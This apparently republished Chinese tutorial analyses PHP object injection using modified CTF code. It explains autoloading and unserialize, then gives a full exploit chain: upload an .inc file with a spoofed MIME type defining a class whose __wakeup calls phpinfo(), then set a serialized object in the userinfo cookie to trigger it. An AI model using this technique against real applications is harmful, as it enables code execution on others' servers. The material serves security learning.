设为首页 - 加入收藏 ASP站长网(Aspzz.Cn)- 科技、建站、经验、云计算、5G、大数据,站长网!
热搜: 创业者 手机 数据
当前位置: 首页 > 站长学院 > PHP教程 > 正文

PHP对象注入的实例分析

发布时间:2022-02-24 12:43 所属栏目:121 来源:互联网
导读:1. 写在前面 最近经常会遇到一些比较有意思的漏洞,比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到,但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码,但是并没有获取所有源码,因此修改了部分代码进行分析。
  1. 写在前面
 
  最近经常会遇到一些比较有意思的漏洞,比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到,但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代码,但是并没有获取所有源码,因此修改了部分代码进行分析。
 
  2. 自动加载
 
  2.0 为什么要自动加载?
 
  在面向对象编程中,程序员经常会编写好类然后在一个入口文件中将它们包含进来。如果一个项目非常大,可能存在成百上千个类文件,如果一一包含进去,那么入口文件就会显得特别大并且不利于维护。因此,PHP5提供了一种自动加载机制。
 
  2.1 __autoload
 
  index.php
 
  function __autoload($classname){
   $class_file = strtolower($classname).".php";
   if(file_exists($class_file)){
    require_once("$class_file");
   }else{
    echo "$class_file does not exist!";
   }
  }
  $obj = new File();
  访问index.php,程序会尝试实例化File类。PHP的解析器会自动调用__autoload()函数。假设当前目录下没有file.php,那么就会输出 “file.php does not exist!” 并且抛出错误。
 
  file.php
 
  class File{
   function __construct(){
    echo "File class is instantiated";
   }
  }
  此时访问index.php,就会得到 “File class is instantiated” 的结果。这样一来,自动加载机制就非常好理解了。
 
  2.2 手动调用 spl_autoload
 
  void spl_autoload ( string $class_name [, string $file_extensions ] )
 
  它可以接收两个参数,第一个参数是$class_name,表示类名。第二个参数$file_extensions是可选的,表示类文件的扩展名;如果不指定的话,它将使用默认的扩展名.inc或.php。
 
  spl_autoload首先将$class_name变为小写,然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions参数的话),如果找到,就加载该类文件。
 
  同样,你可以手动使用spl_autoload(“Person”, “.class.php”)来加载Person类。实际上,它跟require/include差不多
 
  举个例子:
 
  spl_autoload("upload");
 
  $F = new Upload();
 
  这里没有指定扩展名,那么就会在当前目录下寻找upload.inc或者upload.php并自动加载。其实,到这里而言,和require、include相比并没有简单。相反,它们的功能基本是一模一样的。
 
  2.3 自动调用 spl_autoload
 
  上面所说的使用手动的方式调用spl_autoload,工作量其实和require/include基本上差不多。调用spl_autoload_register()的时候,如果没有指定欲注册的自动装载函数,则自动注册 autoload 的默认实现函数spl_autoload()。
 
  举个例子:
 
  spl_autoload_register();
 
  $F = new Upload();
 
  此时,程序会在当前路径下自动加载upload.inc或upload.php。
 
  3. 反序列化
 
  字符串序列化成类之前,类必须提前声明,否则无法反序列化。
 
  字符串在反序列化的时候,会自动调用__wakeup()魔术方法
 
  Object序列化格式 -> O:strlen(对象名):对象名:对象大小:{s:strlen(属性名):属性名:属性值;(重复剩下的元素)}
 
  4. 漏洞剖析
 
  index.php
 
  include_once "common.inc.php";
  if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {
      include_once __DIR__ . "/" . $req["act"] . ".php";
      exit;
  }
  common.inc.php
 
  spl_autoload_register();
  error_reporting(0);
  ini_set('display_errors', false);
  $req = [];
  
  foreach([$_GET, $_POST] as $global_var) {
      foreach($global_var as $key => $value) {
          is_string($value) && $req[$key] = addslashes($value);
      }
  }
  
  $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];
  upload.php
 
  if($_FILES["attach"]["error"] == 0) {
      if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {
          $typeAccepted = ["image/jpeg", "image/gif", "image/png"];
          $blackext = ["php", "php5", "php3", "html", "swf", "htm"];
          $filearr = pathinfo($_FILES["attach"]["name"]);  
          if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {
              exit("type error");
          }
          if(in_array($filearr["extension"], $blackext)) {
              exit("extension error");
          }
          $filename = $_FILES["attach"]["name"];
          if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {     
              array_push($userinfo, $filename);
              setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);
              echo htmlspecialchars("upload success, new filename is {$filename} .");
          } else {
              echo "upload error!";
          } //Cuoxin.com
      }
  } else {
      echo "no upload file";
  }
  在common.inc.php中执行了spl_autoload_register()函数,并没有使用参数。
 
  后缀没有禁止.inc的类型
 
  在common.inc.php会反序列化COOKIE中的数据
 
  上传目录在当前目录下
 
  因此我们需要如下构造:
 
  上传一个名为info.inc的文件,抓包修改MIME类型。info.inc的内容如下所示:
 
  class info{
   function __wakeup(){
    phpinfo();
   }
  }
  修改cookie的uesrinfo字段为:O:4:”info”:0:{}
 
  访问index.php即可触发phpinfo()函数。

(编辑:ASP站长网)

    网友评论
    推荐文章
      热点阅读